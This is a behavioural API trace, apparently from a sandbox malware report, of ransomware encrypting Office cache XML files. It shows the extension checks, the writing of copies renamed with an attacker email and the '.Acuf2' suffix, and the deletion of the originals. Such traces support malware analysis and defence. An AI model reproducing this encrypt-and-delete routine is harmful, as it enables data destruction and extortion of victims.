	[0038.444] ReadFile (in: hFile=0x190, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x61d, lpOverlapped=0x0) returned 1
	[0038.465] WriteFile (in: hFile=0x194, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x620, lpOverlapped=0x0) returned 1
	[0038.466] ReadFile (in: hFile=0x190, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.466] WriteFile (in: hFile=0x194, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0038.466] SetEndOfFile (hFile=0x194) returned 1
	[0038.466] CloseHandle (hObject=0x194) returned 1
	[0038.467] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.467] SetEndOfFile (hFile=0x190) returned 1
	[0038.468] CloseHandle (hObject=0x190) returned 1
	[0038.468] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.468] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1
	[0038.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.468] lstrlenW (lpString=".doc") returned 4
	[0038.468] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.468] lstrlenW (lpString=".docx") returned 5
	[0038.468] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.468] lstrlenW (lpString=".pdf") returned 4
	[0038.468] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.468] lstrlenW (lpString=".xls") returned 4
	[0038.468] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.468] lstrlenW (lpString=".xlsx") returned 5
	[0038.468] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.468] lstrlenW (lpString=".ppt") returned 4
	[0038.468] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.468] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.469] lstrlenW (lpString=".zip") returned 4
	[0038.469] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.469] lstrlenW (lpString=".rar") returned 4
	[0038.469] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.469] lstrlenW (lpString=".bz2") returned 4
	[0038.469] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.469] lstrlenW (lpString=".7z") returned 3
	[0038.469] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.469] lstrlenW (lpString=".dbf") returned 4
	[0038.469] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.469] lstrlenW (lpString=".1cd") returned 4
	[0038.469] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.469] lstrlenW (lpString=".jpg") returned 4
	[0038.469] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.469] lstrlenW (lpString=".doc") returned 4
	[0038.469] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.469] lstrlenW (lpString=".docx") returned 5
	[0038.469] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.469] lstrlenW (lpString=".pdf") returned 4
	[0038.469] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.469] lstrlenW (lpString=".xls") returned 4
	[0038.469] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.469] lstrlenW (lpString=".xlsx") returned 5
	[0038.469] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.469] lstrlenW (lpString=".ppt") returned 4
	[0038.469] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.470] lstrlenW (lpString=".zip") returned 4
	[0038.470] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.470] lstrlenW (lpString=".rar") returned 4
	[0038.470] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.470] lstrlenW (lpString=".bz2") returned 4
	[0038.470] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.470] lstrlenW (lpString=".7z") returned 3
	[0038.470] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.470] lstrlenW (lpString=".dbf") returned 4
	[0038.470] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.470] lstrlenW (lpString=".1cd") returned 4
	[0038.470] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0038.470] lstrlenW (lpString=".jpg") returned 4
	[0038.470] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.470] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.470] lstrlenW (lpString="Office32MUI.xml") returned 15
	[0038.470] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0038.471] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1383) returned 1
	[0038.471] CloseHandle (hObject=0x190) returned 1
	[0038.471] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020
	[0038.471] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.471] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0038.472] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.472] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.472] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0038.472] GetLastError () returned 0x0
	[0038.472] ReadFile (in: hFile=0x190, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x567, lpOverlapped=0x0) returned 1
	[0038.481] WriteFile (in: hFile=0x194, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x570, lpOverlapped=0x0) returned 1
	[0038.482] ReadFile (in: hFile=0x190, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.482] WriteFile (in: hFile=0x194, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0038.482] SetEndOfFile (hFile=0x194) returned 1
	[0038.485] CloseHandle (hObject=0x194) returned 1
	[0038.485] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.485] SetEndOfFile (hFile=0x190) returned 1
	[0038.486] CloseHandle (hObject=0x190) returned 1
	[0038.486] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.486] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1
	[0038.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.487] lstrlenW (lpString=".doc") returned 4
	[0038.487] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.487] lstrlenW (lpString=".docx") returned 5
	[0038.487] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.487] lstrlenW (lpString=".pdf") returned 4
	[0038.487] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.487] lstrlenW (lpString=".xls") returned 4
	[0038.487] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.487] lstrlenW (lpString=".xlsx") returned 5
	[0038.487] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.487] lstrlenW (lpString=".ppt") returned 4
	[0038.487] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.487] lstrlenW (lpString=".zip") returned 4
	[0038.487] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.487] lstrlenW (lpString=".rar") returned 4
	[0038.487] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.487] lstrlenW (lpString=".bz2") returned 4
	[0038.487] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.487] lstrlenW (lpString=".7z") returned 3
	[0038.487] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.487] lstrlenW (lpString=".dbf") returned 4
	[0038.487] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.487] lstrlenW (lpString=".1cd") returned 4
	[0038.487] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.488] lstrlenW (lpString=".jpg") returned 4
	[0038.488] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.488] lstrlenW (lpString=".doc") returned 4
	[0038.488] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.488] lstrlenW (lpString=".docx") returned 5
	[0038.488] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.488] lstrlenW (lpString=".pdf") returned 4
	[0038.488] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.488] lstrlenW (lpString=".xls") returned 4
	[0038.488] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.488] lstrlenW (lpString=".xlsx") returned 5
	[0038.488] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.488] lstrlenW (lpString=".ppt") returned 4
	[0038.488] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.488] lstrlenW (lpString=".zip") returned 4
	[0038.488] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.488] lstrlenW (lpString=".rar") returned 4
	[0038.488] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.488] lstrlenW (lpString=".bz2") returned 4
	[0038.488] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.488] lstrlenW (lpString=".7z") returned 3
	[0038.488] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.488] lstrlenW (lpString=".dbf") returned 4
	[0038.488] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.488] lstrlenW (lpString=".1cd") returned 4
	[0038.488] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0038.489] lstrlenW (lpString=".jpg") returned 4
	[0038.489] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.489] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.489] lstrlenW (lpString="InfoPathMUI.xml") returned 15
	[0038.489] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0038.490] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1231) returned 1
	[0038.490] CloseHandle (hObject=0x190) returned 1
	[0038.490] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020
	[0038.490] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.490] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0038.490] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.490] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.490] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0038.490] GetLastError () returned 0x0
	[0038.491] ReadFile (in: hFile=0x190, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x4cf, lpOverlapped=0x0) returned 1
	[0038.821] WriteFile (in: hFile=0x194, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4d0, lpOverlapped=0x0) returned 1
	[0038.822] ReadFile (in: hFile=0x190, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.822] WriteFile (in: hFile=0x194, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0038.822] SetEndOfFile (hFile=0x194) returned 1
	[0038.822] CloseHandle (hObject=0x194) returned 1
	[0038.823] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.823] SetEndOfFile (hFile=0x190) returned 1
	[0038.823] CloseHandle (hObject=0x190) returned 1
	[0038.823] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.824] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1
	[0038.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.824] lstrlenW (lpString=".doc") returned 4
	[0038.824] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.824] lstrlenW (lpString=".docx") returned 5
	[0038.824] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.824] lstrlenW (lpString=".pdf") returned 4
	[0038.824] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.824] lstrlenW (lpString=".xls") returned 4
	[0038.824] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.824] lstrlenW (lpString=".xlsx") returned 5
	[0038.824] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.824] lstrlenW (lpString=".ppt") returned 4
	[0038.824] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.824] lstrlenW (lpString=".zip") returned 4
	[0038.824] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.824] lstrlenW (lpString=".rar") returned 4
	[0038.824] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.824] lstrlenW (lpString=".bz2") returned 4
	[0038.825] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.825] lstrlenW (lpString=".7z") returned 3
	[0038.825] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.825] lstrlenW (lpString=".dbf") returned 4
	[0038.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.825] lstrlenW (lpString=".1cd") returned 4
	[0038.825] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.825] lstrlenW (lpString=".jpg") returned 4
	[0038.825] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.825] lstrlenW (lpString=".doc") returned 4
	[0038.825] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.825] lstrlenW (lpString=".docx") returned 5
	[0038.825] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.825] lstrlenW (lpString=".pdf") returned 4
	[0038.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.825] lstrlenW (lpString=".xls") returned 4
	[0038.825] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.825] lstrlenW (lpString=".xlsx") returned 5
	[0038.825] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.825] lstrlenW (lpString=".ppt") returned 4
	[0038.825] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.825] lstrlenW (lpString=".zip") returned 4
	[0038.825] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.825] lstrlenW (lpString=".rar") returned 4
	[0038.825] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.825] lstrlenW (lpString=".bz2") returned 4
	[0038.826] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.826] lstrlenW (lpString=".7z") returned 3
	[0038.826] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.826] lstrlenW (lpString=".dbf") returned 4
	[0038.826] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.826] lstrlenW (lpString=".1cd") returned 4
	[0038.826] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0038.826] lstrlenW (lpString=".jpg") returned 4
	[0038.826] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.826] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.826] lstrlenW (lpString="Setup.xml") returned 9
	[0038.826] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0039.342] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1452) returned 1
	[0039.342] CloseHandle (hObject=0x1a0) returned 1
	[0039.342] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0039.342] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
